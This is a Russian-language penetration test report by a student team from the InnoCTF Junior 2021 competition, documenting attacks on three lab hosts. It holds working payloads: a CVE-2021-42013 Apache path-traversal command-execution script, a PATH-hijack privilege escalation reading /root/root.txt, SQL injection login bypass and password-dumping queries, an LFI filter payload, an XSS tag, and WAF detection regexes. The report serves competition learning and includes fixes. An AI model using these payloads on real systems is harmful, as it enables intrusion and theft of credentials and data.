# InnoCTF Junior 2021 <br> BinaryCats <br> Penetration test report ## Выполнили: Ахметзянова Ильвина, ilvinchik05@gmail.com; Лукьянов Артур, artur.lukyanov@gmail.com; Ефремов Александр, AlexanderOnko@gmail.com; Иосипов Артемий, dino.Par.io@yandex.ru; Ахметзянов Амир, amirakhmetzyanov1@gmail.com. ## Тестирование на безопасность В ходе этого теста на проникновение наша команда смогла успешно получить доступ к учетной записи обычного пользователя, а также к учётной записи с привилегиями администратора. --- ## Содержание [toc] --- ## Методология ### PTES <img style="margin-left: auto; margin-right: auto; display:block" src="https://www.miroxindia.com/images/sponsor-logo/ptes.png"> http://www.pentest-standard.org/index.php/Main_Page ### Перечисление (Enumeration) - Поиск существующих директорий - Поиск доступных портов ### Эксплуатация (Exploitation) - Определение уязвимых сервисов - Эксплуатация найденных уязвимостей ### Повышение привилегий (Privilege escalation) - Изучение и определение уязвимостей - Эксплуатация найденных уязвимостей --- ## Техническое задание ### Тестируемые устройства | Hostname | IP | | -------- | -------------- | | Wafy WAF | 84.252.135.107 | | Simple Band | 130.193.35.203 | | Issue tracker |130.193.46.68 | --- ## Уязвимости систем ### Wafy WAF #### Разведка <img src="https://i.imgur.com/qy24vyA.png"> На сервере был обнаружен исполняемый файл: http://84.252.135.107/download/55. Этот файл содержит несколько регулярных выражений и представляет собой WAF. `XSS regex: .*<(([sS][cC][rR][iI][pP][tT])|([iI][mM][gG]))(.*)/?>.*` `SQL injection regex: .*(['\\\";]+)(([aA][lL][tT][eE][rR]((\\s)|(/\\*\\*/))+[tT][aA][bB][lL][eE])|([cC][rR][eE][aA][tT][eE]((\\s)|(/\\*\\*/))+[tT][aA][bB][lL][eE])|([cC][rR][eE][aA][tT][eE]((\\s)|(/\\*\\*/))+[dD][aA][tT][aA][bB][aA][sS][eE])|([dD][eE][lL][eE][tT][eE]((\\s)|(/\\*\\*/))+[tT][aA][bB][lL][eE])|([dD][rR][oO][pP]((\\s)|(/\\*\\*/))+[tT][aA][bB][lL][eE])|([dD][rR][oO][pP]((\\s)|(/\\*\\*/))+[dD][aA][tT][aA][bB][aA][sS][eE])|([iI][nN][sS][eE][rR][tT]((\\s)|(/\\*\\*/))+[iI][nN][tT][oO])|([sS][eE][lL][eE][cC][tT]((\\s)|(/\\*\\*/))+((\\*)|[\\w_-]+)((\\s)|(/\\*\\*/))+[fF][rR][oO][mM])|([uU][pP][dD][aA][tT][eE]((\\s)|(/\\*\\*/))+[tT][aA][bB][lL][eE])|([uU][nN][iI][oO][nN]((\\s)|(/\\*\\*/))+[sS][eE][lL][eE][cC][tT])).*` --- ### Simple Band #### Разведка На сервере были найдены следующие порты и сервисы: ![](https://i.imgur.com/EnubjHd.png) ``` /.htpasswd (Status: 403) [Size: 199] /.hta (Status: 403) [Size: 199] /.htaccess (Status: 403) [Size: 199] /cgi-bin/ (Status: 403) [Size: 199] /dev (Status: 401) [Size: 381] /index.html (Status: 200) [Size: 11577] ``` #### Тип эксплуатируемой уязвимости: <span style="background: #9fff90; padding: 2px">CVE-2021-42013</span> #### Критичность: <span style="background: #ffaaaa; padding: 2px">Critical</span> #### Base score: ![](https://i.imgur.com/DDi8Si7.png) <span style="background: #ffaaaa; padding: 2px">9.8</span> Требуемый уровень доступа: <span style="background: #ffaaaa; padding: 2px">нет</span> Простота эксплуатации: <span style="background: #ffaaaa; padding: 2px">просто</span> Взаимодействие с пользователем: <span style="background: #ffaaaa; padding: 2px">нет</span> Вектор атаки: <span style="background: #ffaaaa; padding: 2px">по сети</span> #### Описание эксплуатации: Было обнаружено, что исправление для CVE-2021-41773 в HTTP-сервере Apache 2.4.50 было недостаточным. Злоумышленник может использовать атаку с обходом пути для сопоставления URL-адресов с файлами за пределами каталогов, настроенных с помощью директив, подобных псевдонимам (`Alias-like directives`). Если файлы за пределами этих каталогов не защищены конфигурацией по умолчанию `"require all denied"`, эти запросы могут быть успешными. Эксплуатация уязвимости позволяет исполнить команды на сервере и получить доступ к аккаунту. Впоследствие привилегии пользователя можно повысить. #### Патч или фикс: Эта проблема затрагивает только Apache 2.4.49 и Apache 2.4.50, а не более ранние версии. #### POC: ``` #!/bin/bash echo 'PoC CVE-2021-42013 reverse shell Apache 2.4.50 with CGI' if [ $# -eq 0 ] then echo "try: ./$0 http://ip:port cmd" exit 1 fi curl "$1/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" -d "echo Content-Type: text/plain; echo; $2" #usage chmod -x CVE-2021-42013.sh #./CVE-2021-42013.sh http://ip:port/ cmd ``` #### Повышение привилегий - $PATH #### Тип эксплуатируемой уязвимости: <span style="background: #9fff90; padding: 2px">Relative path hijacking</span> #### Критичность <span style="background: #ffaaaa; padding: 2px">High</span> #### Base score ![](https://i.imgur.com/WEkQJXw.png) <span style="background: #ffaaaa; padding: 2px">8.8</span> Требуемый уровень доступа: <span style="background: #ffaaaa; padding: 2px">минимальный</span> Простота эксплуатации: <span style="background: #ffaaaa; padding: 2px">просто</span> Взаимодействие с пользователем: <span style="background: #ffaaaa; padding: 2px">нет</span> Вектор атаки: <span style="background: #ffaaaa; padding: 2px">по сети</span> #### Описание эксплуатации: На сервере был обнаружен файл `/usr/bin/info`, имеющий `suid flag`. Данная программа использует `cat` для получения информации из текстого файла. Так как вызов `cat` осуществляется без указания пути, ОС производит поиск данного приложения по директориям, указанным в $PATH. Атакующий способен изменить данную переменную окружения и заставить приложение запустить замененный злоумышленником `cat`. #### POC - base64 /root/root.txt ``` echo IyEvYmluL2Jhc2gKCmJhc2U2NCAvcm9vdC9yb290LnR4dAo= | base64 -d > /tmp/cat chmod +x /tmp/cat PATH=/tmp/:$PATH /usr/bin/info ``` #### Найденные флаги: > 086925fb0b64e870ce5d0162c78952b5 (user) <br> bc05630d1d95b6235c105c161c8ecf50 (admin) --- ### Issue tracker #### Разведка Было обнаружено 4 порта Порт 9000 используется для HTTP сервера ![](https://i.imgur.com/1HdtA7t.png) #### Тип эксплуатируемой уязвимости: <span style="background: #9fff90; padding: 2px">SQL Injection - Authentication bypass</span> #### Критичность <span style="background: #ffaaaa; padding: 2px">Critical</span> #### Base score ![](https://i.imgur.com/EqC8UJY.png) <span style="background: #ffaaaa; padding: 2px">9.8</span> Требуемый уровень доступа: <span style="background: #ffaaaa; padding: 2px">нет</span> Простота эксплуатации: <span style="background: #ffaaaa; padding: 2px">просто</span> Взаимодействие с пользователем: <span style="background: #ffaaaa; padding: 2px">нет</span> Вектор атаки: <span style="background: #ffaaaa; padding: 2px">по сети</span> #### Описание эксплуатации: Один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного `SQL-кода`. Внедрение SQL, в зависимости от типа используемой СУБД и условий внедрения, может дать возможность атакующему выполнить произвольный запрос к базе данных, получить возможность чтения и/или записи локальных файлов и выполнения произвольных команд на атакуемом сервере. Эксплуатация SQL-инъекции на странице входа на портал позволяет обойти механизмы аутентификации и получить доступ к сервису, данным пользователей и контенту. #### POC: ``` login: admin' or 1=1-- - password: 123 ``` #### Патч или фикс: Рекомендуется использовать `prepared quieries` и валидировать пользовательский ввод. #### Тип эксплуатируемой уязвимости: <span style="background: #9fff90; padding: 2px">Множественные SQL Injection</span> #### Критичность <span style="background: #ffaaaa; padding: 2px">Critical</span> #### Base score ![](https://i.imgur.com/EqC8UJY.png) <span style="background: #ffaaaa; padding: 2px">9.8</span> Требуемый уровень доступа: <span style="background: #ffaaaa; padding: 2px">нет</span> Простота эксплуатации: <span style="background: #ffaaaa; padding: 2px">просто</span> Взаимодействие с пользователем: <span style="background: #ffaaaa; padding: 2px">нет</span> Вектор атаки: <span style="background: #ffaaaa; padding: 2px">по сети</span> #### Описание эксплуатации: Один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного `SQL-кода`. Внедрение SQL, в зависимости от типа используемой СУБД и условий внедрения, может дать возможность атакующему выполнить произвольный запрос к базе данных, получить возможность чтения и/или записи локальных файлов и выполнения произвольных команд на атакуемом сервере. Эксплуатация SQL-инъекций на различных `endpoint`'ах позволяет совершать различные действия с базой данных. #### POC: ``` http://130.193.46.68:9000/manage_user.php?id=22%27%20union%20select%201,group_concat(password),3,4,5,6,7,8,9,10,11%20from%20user_list--%20- ``` #### Патч или фикс: Рекомендуется использовать `prepared quieries` и валидировать пользовательский ввод. #### Тип эксплуатируемой уязвимости: <span style="background: #9fff90; padding: 2px">LFI — Local File Inclusion</span> #### Критичность <span style="background: #ffaaaa; padding: 2px">Medium</span> #### Base score ![](https://i.imgur.com/wd7I4EQ.png) <span style="background: #ffaaaa; padding: 2px">4.3</span> Требуемый уровень доступа: <span style="background: #ffaaaa; padding: 2px">минимальный</span> Простота эксплуатации: <span style="background: #ffaaaa; padding: 2px">просто</span> Взаимодействие с пользователем: <span style="background: #ffaaaa; padding: 2px">нет</span> Вектор атаки: <span style="background: #ffaaaa; padding: 2px">по сети</span> #### Описание эксплуатации: LFI — это возможность использования и выполнения локальных файлов на серверной стороне. Уязвимость позволяет удаленному пользователю получить доступ с помощью специально сформированного запроса к произвольным файлам на сервере, в том числе содержащим конфиденциальную информацию. Является комбинацией уязвимости открытия файлов с сервера и недостаточной фильтрации, позволяет открывать произвольный файл. Эксплуатация `LFI-уязвимости` позволяет через браузер подключать файлы на сервере. Эта уязвимость потенциально позволяет злоумышленнику читать файлы и исполнять свой вредоносный код на сервере. Наша команда смогла только читать `.php файлы` на сервере. #### POC: ``` http://130.193.46.68:9000/?page=php://filter/convert.base64-encode/resource=DBConnection ``` #### Патч или фикс: Рекомендуется использовать фильтрацию, которая будет подставлять в окончание строки расширение файла, например, .php. Таким образом, при попытке включения в страницу файла `xmpl/filename` мы получим в адресной строке `file=/xmpl/filename.php`, а содержимое этого файла не будет отображаться на странице, так как файла не существует. Существует возможность обхода такого фильтра при помощи проблемы нулевого байта, которая исправлена в версиях `PHP 5.3+`. #### Тип эксплуатируемой уязвимости: <span style="background: #9fff90; padding: 2px">XSS</span> #### Критичность <span style="background: #ffaaaa; padding: 2px">Medium</span> #### Base score ![](https://i.imgur.com/vs5S9ci.png) <span style="background: #ffaaaa; padding: 2px">5.4</span> Требуемый уровень доступа: <span style="background: #ffaaaa; padding: 2px">нет</span> Простота эксплуатации: <span style="background: #ffaaaa; padding: 2px">просто</span> Взаимодействие с пользователем: <span style="background: #ffaaaa; padding: 2px">нет</span> Вектор атаки: <span style="background: #ffaaaa; padding: 2px">по сети</span> #### Описание эксплуатации: Cross Site Scripting — тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода, который будет выполнен на компьютере пользователя при открытии им этой страницы, и взаимодействии этого кода с веб-сервером злоумышленника. #### POC: Комментарии на http://130.193.46.68:9000/?page=view_issue&id=8f14e45fceea167a5a36dedd4bea2543 : ```<script>alert(1)</script>``` #### Патч или фикс: Рекомендуется преобразовывать специальные символы (экранирование) и проверять пользовательский ввод.
{"metaMigratedAt":"2023-06-16T13:28:34.944Z","metaMigratedFrom":"Content","title":"InnoCTF Junior 2021 <br> BinaryCats <br> Penetration test report","breaks":true,"contributors":"[{\"id\":\"03d21ae7-c61d-4786-a1d5-384f55b4ce22\",\"add\":7316,\"del\":1097},{\"id\":\"035343d9-38f8-4447-888d-3e4ad4677d82\",\"add\":5197,\"del\":826},{\"id\":\"34e68fa4-5995-4ba9-868b-fdf17bdbe7ba\",\"add\":940,\"del\":0},{\"id\":\"11d292e7-97f7-4b7e-a55e-d035d1f28a5f\",\"add\":564,\"del\":51}]"}
Expand menu